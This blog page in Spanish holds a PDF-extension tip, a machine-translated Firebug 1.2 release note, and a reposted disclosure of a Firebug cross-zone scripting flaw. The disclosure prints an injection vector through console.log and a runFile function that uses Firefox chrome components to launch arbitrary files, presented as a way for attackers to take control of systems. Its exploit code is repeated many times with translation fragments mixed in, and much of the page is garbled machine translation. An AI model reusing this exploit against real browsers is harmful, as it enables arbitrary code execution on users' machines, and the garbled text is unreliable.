Búsqueda personalizada

Evita que se cuelgue Firefox por los enlaces PDF

1384200537_379c7cb43e_o.jpg

La mayoría de nosotros con esto de la utilización de pestañas incorporadas a firefox, nos hemos acostumbrado a navegar siempre en cantidad de sitios a la misma vez. Por ejemplo yo, llegue a tener 30 pestañas abiertas en un mismo momento. Imaginaran que la sobrecarga tanto de firefox y como de la conexión a Internet se torna mucha mas lenta. Pero existe un caso realmente especial, aun navegando con pocas pestañas, que es el llamado a enlaces PDF.
Muchas veces aun navegando con pocas pestañas, al dar click en un enlace hacia un archivo PDF nuestro Firefox suele colgarse. El problema es que Firefox automáticamente para este tipo de archivos abrirá Adobe Reader para visualizarlo desde nuestro navegador. Si estos archivos son pesados, seguramente firefox se colgara.
Si te sucede esto seguido la extensión PDF Download, puede ser una buena alternativa para solucionarlo. Básicamente PDF Download nos permitirá decidir si descargamos el archivo, lo abrimos, lo vemos como HTML, o directamente cancelamos cualquier opción, en caso de que hayas dado un click por accidente.

Enlace PDF Download

Publicado en Detalles Técnicos,Firefox,Herramientas,Optimización,Recursos Web,Software Libre | Responder

Firebug 1.2 Liberado

 La versión final de Firebug 1.2 ha sido liberado. The release should be up on the Mozilla Add-ons site today , but it’s also up on GetFirebug.com right now . La liberación debe ser en la de Mozilla Add-ons sitio hoy, pero es también en GetFirebug.com ahora.

John J Barton and Jan Odvarko put a ton of work into this release (you may have noticed the rapid-fire series of beta releases last week – just trying to smooth out the rough edges). John J. Barton y Jan Odvarko poner un montón de trabajo en esta versión (te habrás dado cuenta de la rápida del fuego serie de versiones beta la semana pasada – tratando de suavizar los bordes ásperos).

There have been a number of improvements made (not to mention countless bug fixes). Ha habido una serie de mejoras (por no mencionar un sinnúmero de correcciones de errores). Some of the major points of this release include: Algunos de los puntos principales de esta versión incluyen:

Firefox 3 support. Firefox 3 de apoyo.

If you’ve been using the Firebug 1.2 betas you’re already on top of this. Si usted ha estado utilizando el Firebug 1.2 beta ya está en la parte superior de esta. Now is a good time to verify the version of Firebug that you’re using. Ahora es un buen momento para verificar la versión de Firebug que estás utilizando. Go to Tools > Add-ons in Firefox and see what version of Firebug you’re running. Ir a Herramientas> Add-ons en Firefox y ver qué versión de Firebug está ejecutando. If it’s anything other than 1.2.0bX (where X is a number 1-15) you’ll need to forcefully go to the above Firebug URLs and install the new version (the auto-update isn’t working for older versions). Si es otra cosa que 1.2.0bX (donde X es un número 1-15) tendrás que ir a la fuerza por encima de Firebug URL e instalar la nueva versión (la actualización automática no funciona para versiones anteriores). The most common report of Firebug problems has been related to running Firebug 1.1 in Firefox 3 – which is a mess (hence Firebug 1.2). El informe más común de problemas Firebug se ha relacionado a la ejecución de Firebug 1.1 en Firefox 3 – que es un lío (de ahí Firebug 1.2).

Quality Improvements. Mejoras de la calidad.

The Script panel (the JavaScript debugger), the Net panel (network monitoring), and Console panel have all seen considerable updates. El panel de secuencias de comandos (el depurador de JavaScript), la Red del panel (de supervisión de red), y la consola del panel han visto cambios considerables. They’re all much more performant and have a huge number of bug fixes. Son todos mucho más rendimiento y tienen un gran número de correcciones de errores.

Specifically the Console panel has seen a number of security improvements. Específicamente, el panel de la consola ha sido testigo de una serie de mejoras de seguridad. We’ll be discussing the specific nature of these changes once everyone has had enough time to upgrade to Firebug 1.2. Vamos a discutir la naturaleza específica de estos cambios una vez que todos hayan tenido tiempo suficiente para actualizar a Firebug 1.2.

A list of all the bug fixes can be found in the full release notes . Una lista de todas las correcciones de errores se pueden encontrar en la notas de la versión completa.

Selective Panel Enablement. Grupo Capacitación selectiva.

This is the most drastic UI change of the release. Este es el cambio más drástico de IU de la liberación. It’s also a, seemingly, bizarre addition to the extension. También es una, al parecer, además de extraño la extensión. When you now click Firebug for a site you’ll encounter an interface that looks something like this: Cuando haga clic en Firebug ahora para un sitio te vas a encontrar una interfaz que se ve algo como esto:
q.png

 Algunos historia posterior es necesaria para explicar por qué la extensión está configurado de esta manera. These three panels (Console, Script, Net) have the potential to incur a great deal of overhead into any web sites that utilizes them. Estos tres grupos (Consola de comandos, Net) tienen la posibilidad de incurrir en una gran cantidad de gastos generales en los sitios Web que utiliza ellos. There are two pain points, in particular: The Mozilla JavaScript debugger and network monitoring. Hay dos puntos de dolor, en particular: El depurador de JavaScript de Mozilla y de supervisión de red.

The Mozilla JavaScript debugger is used in two ways in Firebug: First it is used in the Script panel (to debug JavaScript code, naturally), second it is used to figure out where JavaScript errors are coming from in the console. Mozilla depurador JavaScript se utiliza de dos maneras en Firebug: En primer lugar, se utiliza en el panel de secuencias de comandos (para depurar código JavaScript, por supuesto), en segundo lugar, se utiliza para averiguar dónde están los errores de JavaScript en los procedentes de la consola. Network monitoring is, naturally, used for the Net panel. De supervisión de red, es decir, naturalmente que se utilizan para la red del panel.

Here’s the important point: The Mozilla JavaScript debugger and network monitoring are both global to Firefox not localized to a single window or tab. Este es el punto importante: El depurador de JavaScript de Mozilla y de la red de vigilancia mundial son a la vez a Firefox no localizado en una sola ventana o pestaña. This means that when you enable a panel, such as the script panel, it will turn on the JavaScript debugger for all JavaScript code in Firefox. Esto significa que cuando se habilita un grupo, como la secuencia de comandos del panel, se convertirá en el depurador JavaScript para todo el código JavaScript en Firefox.

Rob Campbell has run some initial numbers and has found that, simply, enabling the script panel anywhere in the browser immediately slows down all JavaScript execution by 25% – for all JavaScript on all tabs in the browser . Rob Campbell ha dirigido algunos números inicial y ha encontrado que, simplemente, de manera que la secuencia de comandos en cualquier parte del panel de navegador inmediatamente ralentiza la ejecución de JavaScript a todos en un 25% – para todos en todas las pestañas de JavaScript en el navegador.

We don’t have solid numbers on the networking monitoring overhead yet but we imagine it to be much less, although still occurring on a global all-tabs scale which isn’t desirable. No tenemos números de la sólida red de vigilancia, pero aún por encima nos imaginamos que sea mucho menos, aunque todavía se producen a nivel mundial todas las pestañas de escala que no es deseable.

The important question here is: What is being done to stop this? La pregunta importante aquí es: ¿Qué se está haciendo para detener esto?

First, it must become necessary to not incur any overhead when using the console panel. En primer lugar, debe ser necesario para no incurrir en ningún generales al utilizar el panel de la consola. This is a ubiquitous part of Firebug and any global overhead presented by it must be removed. Esta es una parte omnipresente de Firebug y cualquier mundial generales presentadas por el mismo debe ser eliminado. This can be done but not without some internal API changes to how Firefox handles and reports error messages. Esto se puede hacer, pero no sin algunos cambios en la API interna de cómo Firefox se encarga de los informes y mensajes de error. We hope to have something introduced in an upcoming version of Firefox so that we can compensate appropriately in Firebug. Esperamos tener algo introducido en una próxima versión de Firefox para que podamos compensar adecuadamente en Firebug.

Second, the JavaScript debugger must be improved. En segundo lugar, el depurador JavaScript debe ser mejorada. A number of bugs have been filed on this subject and we hope that some of them will make their way into upcoming versions of Firefox (Firebug will be able to immediately improve when that happens). Un número de errores se han presentado sobre este tema y esperamos que algunos de ellos harán su camino en las próximas versiones de Firefox (Firebug podrán mejorar de inmediato cuando esto sucede). Specializing the debugger to only work against a single tab at a time may not be possible (based upon how Firefox works, internally) but if it is that will be an immediate benefit. Especializada para el depurador sólo en contra de una sola ficha en un momento puede no ser posible (basado en Firefox cómo funciona internamente), pero si es que será un beneficio inmediato. Of course, any performance improvements to the debugger will always be helpful. Por supuesto, cualquier rendimiento que el depurador siempre será útil.

Finally, the overhead of network monitoring (if there really is that much – we haven’t run performance analysis her yet) needs to be diminished in any way possible. Por último, los gastos generales de supervisión de red (si existe en realidad es que gran parte – no hemos ejecutar su análisis todavía), debe ser disminuida en cualquier forma posible.

All of these things are points that the new Mozilla Firebug team is trying to tackle for the upcoming Firebug 1.3 release. Todas estas cosas son puntos que el nuevo equipo de Mozilla Firebug está tratando de abordar para la próxima liberación Firebug 1.3.

Who enabled me? ¿Quién me ayudó?

Taking in to consideration the above performance points (namely the fact that enabling the Console, Script, or Net panels have the potential to incur a global overhead on all browser tabs) a feature was added to help you minimize your use of the panels in errant tabs. Teniendo en cuenta el rendimiento por encima de los puntos (es decir, el hecho de que permita a la consola, de secuencias de comandos, o paneles de red tienen la posibilidad de incurrir en una sobrecarga en todas las pestañas del navegador) se ha añadido una característica que le ayudarán a minimizar el uso de los paneles en andante pestañas.

If you position your mouse over the Firebug icon, in the Firefox tray, a tooltip will pop up telling you two things: The version of Firebug that you’re using and which tabs have some Firebug panels enabled in them. Si la posición de su ratón sobre el icono de Firebug, Firefox en la bandeja, una descripción aparecerá diciendo dos cosas: La versión de Firebug que está utilizando y que las fichas han permitido a algunos grupos de Firebug en ellos.

t.png

Cabe señalar que el Firebug será un color gris si no hay fichas que actualmente tienen un panel de Firebug permitido en absoluto.

Using the above tooltip you can now go in and selectively disable any panel usage that you are no longer utilizing. Usando la descripción anterior se puede ir en forma selectiva y deshabilitar el uso de cualquier grupo que ya no están utilizando.

Suspend/Resume Firebug. Suspender / Reanudar Firebug.

Of course, when using the above tooltip (or seeing that the Firebug icon is lit up), you’ll just want to suspend all use of Firebug panels straight out without having to poke-around each individual tab. Por supuesto, cuando se utiliza por encima de la descripción (o de ver que el icono de Firebug se ilumina), usted sólo quiere suspender todo uso de Firebug paneles hacia fuera sin tener que meter-alrededor de cada pestaña.
xfhbxf.png

Una nueva suspensión / CV opción de menú se ha agregado que suspender / reanudar todos los grupos activos. This is a one-click way to keep Firebug in check. Se trata de un clic en una forma de mantener en jaque Firebug.

So what’s next for Firebug? Entonces, ¿cuál es siguiente para Firebug? I discussed some of the performance auditing that we were doing recently and that will be continuing. I examinó algunas de las auditorías de rendimiento que los que estábamos haciendo hace poco y que se continúa.

Specifically, however, we plan on releasing some minor updates to Firebug 1.2 to quell bugs and improve performance (there will likely be a 1.2.1 release coming soon). En concreto, sin embargo, el plan de liberar algunas actualizaciones menores para Firebug 1.2 para sofocar los errores y mejorar los resultados (probablemente habrá una liberación 1.2.1 próximamente).

As I mentioned before, Firebug 1.3 is going to be all about performance, quality, and testing. Como he mencionado antes, Firebug 1.3 va a ser todo sobre rendimiento, calidad y pruebas. Firebug is the de facto tool for web developers and we need to make sure that its quality does not wane and that we tackle performance head-on (with the eventual goal of having a seamless web development experience). Firebug es la herramienta de facto para los desarrolladores web y tenemos que asegurarnos de que su calidad no decaiga y que hacer frente a la ejecución de la misma (con el objetivo de tener una perfecta experiencia de desarrollo web).

Publicado en Herramientas | 1 Comment

Firebug

dhfdhhjvhjm.jpg

Firebug es una muy potente depurador de JavaScript de Firefox. Tiene toneladas de características útiles como una dinámica de la consola, explorador de árbol DOM, CSS visor / editor de secuencia de comandos de explorador y mi favorito, un monitor de red donde pueda ver todos los Flash, XMLHttpRequest, JS e Imagen solicitudes.

Firebug se utiliza principalmente por desarrolladores web para encontrar fallos en su código, pero también se puede utilizar la seguridad de chicos como yo para encontrar y explorar distintas cliente-lado y del lado del servidor vulnerabilidades. Firebug is my best buddy. Firebug es mi mejor amigo.

Lamentablemente, Firebug sufre bastante simple pero muy peligrosa vulnerabilidad. En general, los navegadores todo lo posible para prevenir las vulnerabilidades comunes de paralizar en su código fuente. Sin embargo, ese no es el caso de las extensiones del navegador. Muy a menudo, la extensión del navegador autores no consideran los aspectos de seguridad de su trabajo, es decir, las extensiones no son cuidadosamente inspeccionados para vulnerabilidades de seguridad. Because of this, incidents occur. Debido a esto, se produzcan incidentes. IMHO, the next wave of browser attacks will target exactly this. En mi humilde opinión, la próxima ola de ataques navegador exactamente este objetivo.

In this post I am going to disclose a vulnerability for Firebug which can be used by attackers to gain control of every system where the Firebug extension is installed. En este post voy a revelar una vulnerabilidad Firebug para que puedan ser utilizados por los atacantes hacerse con el control de todo el sistema en el que está instalada la extensión Firebug. Of course, the user needs to visit a malicious page first, which means that the attack surface is greatly reduced. Por supuesto, las necesidades de los usuarios a visitar una página maliciosa en primer lugar, lo que significa que la superficie de ataque es muy reducido. However, given the fact that the largest user base of the Firefox browser are geeks and Firebug is a top extension at http://addons.mozilla.org , attackers can cause quite a lot of trouble. Sin embargo, dado el hecho de que la mayor base de usuarios del navegador Firefox son geeks y Firebug es una extensión superior a http://addons.mozilla.org, los atacantes pueden causar bastantes problemas.

The vulnerability is of a type Cross-zone or Cross-context scripting, where a script from a web pages is injected inside the zone of the browser, also know as the chrome, or in the zone of the file: protocol. La vulnerabilidad es de un tipo o zona de la Cruz-Cruz-marco de secuencias de comandos, donde una secuencia de comandos de una página web es inyectado dentro de la zona del navegador, también se conoce como el cromo, o en la zona del archivo: protocolo. In both cases the result is quite devastating, although the second is a bit less critical then the first. En ambos casos el resultado es bastante devastador, aunque la segunda es un poco menos crítica luego de la primera. Remote scripts in the browser are restricted by a sandbox. Remota de scripts en el navegador se ven limitadas por una caja de arena. This means that everything that is prefixed with http: or https: is secure. Esto significa que todo lo que se http:or con el prefijo https: es segura. Browser extensions make use of the chrome: protocol. Extensiones de explorador de hacer uso del cromo: protocolo. This protocol is not restricted at all and everything is allowed. Este protocolo no se limita en absoluto y todo está permitido. In that respect, browser extensions are trusted. En ese sentido, son extensiones del navegador de confianza. However if a remote script, tricks the browser into executing JavaScript expressions on chrome: then this script can take control of the entire chrome and also the underplaying operating system because then command execution and read/write file access operations are allowed. Sin embargo, si una secuencia de comandos remotos, trucos en el navegador la ejecución de JavaScript en las expresiones de cromo: a continuación, este script puede tomar el control de todo el cromo y el underplaying también porque en ese sistema operativo y la ejecución de comandos de lectura / escritura de archivos se permiten las operaciones de acceso.

In order to cause Cross-zone scripting in Firebug you need to do the following: Con el fin de causar la Cruz en la zona de scripting Firebug lo que tiene que hacer lo siguiente:

console.log({‘<script>alert(“bing!”)</script>’:'exploit’})

console.log (( ‘<script>

console.log({‘<script>alert(“bing!”)</script>’:'exploit’})

(

console.log({‘<script>alert(“bing!”)</script>’:'exploit’})

!”)</

console.log({‘<script>alert(“bing!”)</script>’:'exploit’})

 Si pones esta expresión JavaScript en una página y abrirla con el navegador, mientras que Firebug está activado, se le pedirá con un cuadro de alerta. This is not very interesting but there is a lot more you can do then that. Esto no es muy interesante, pero hay mucho más que usted puede hacer después de que. For example, attackers can easily inject the following function into the browser chrome: Por ejemplo, los atacantes pueden inyectarse la siguiente función en el navegador de cromo:

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

(

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 = Components.classes [ "@ mozilla.org / file /

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

.

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 (Components.interfaces.nsILocalFile);

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 file.initWithPath

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 Components.classes

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 = [ "@ mozilla.org /

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

/

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

.

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 (Components.interfaces.nsIProcess);

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 process.init

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 = Array.prototype.slice.call

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 process.run

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

 argv.length);

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

)

function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }

La función runFile permite la ejecución de archivos. With the function declaration in the browser chrome, attackers can call console.log a few more times to spawn any file they want or even silently install browser extensions, not to mention that they will be able to read and write the file system too. Con la declaración de la función en el navegador de cromo, los atacantes pueden llamar console.log unas cuantas veces para desovar cualquier archivo que desea instalar silenciosamente o incluso extensiones del navegador, por no hablar de que será capaz de leer y escribir el sistema de archivos también. The possibilities for evilness are endless. Las posibilidades son infinitas para la maldad.

There is a catch though. Hay una captura bien. The Cross-context scripting vector is very tiny. La Cruz-contexto de secuencia de comandos de vectores es muy pequeña. In order to exploit the vulnerability, I needed to go through some extreme things like dynamically composing the malicious payload in a string then evaluating the string content inside the chrome. Con el fin de explotar la vulnerabilidad, que tenía que pasar por algunas cosas como la extrema dinámica que componen la carga útil malicioso en una cadena a continuación, evaluar el contenido de la cadena en el interior del cromo. I wrote t w o Proof of Concepts that you can try out. Escribí No W o Prueba de Conceptos que se pueden probar.

It is highly recommended that you disable Firebug until this issue is fixed which I have no doubt that it will be quite soon. Es altamente recomendable que usted desactivar Firebug hasta que esta cuestión se ha fijado que no tengo ninguna duda de que será bastante pronto.

firebug-payload.js , firebug-payload.pc Firebug-payload.js, Firebug-payload.pc

  • firebug-poc.htm , firebug-poc2.htm Firebug-poc.htm, Firebug-poc2.htm
  • Publicado en Herramientas | Responder

    Novedades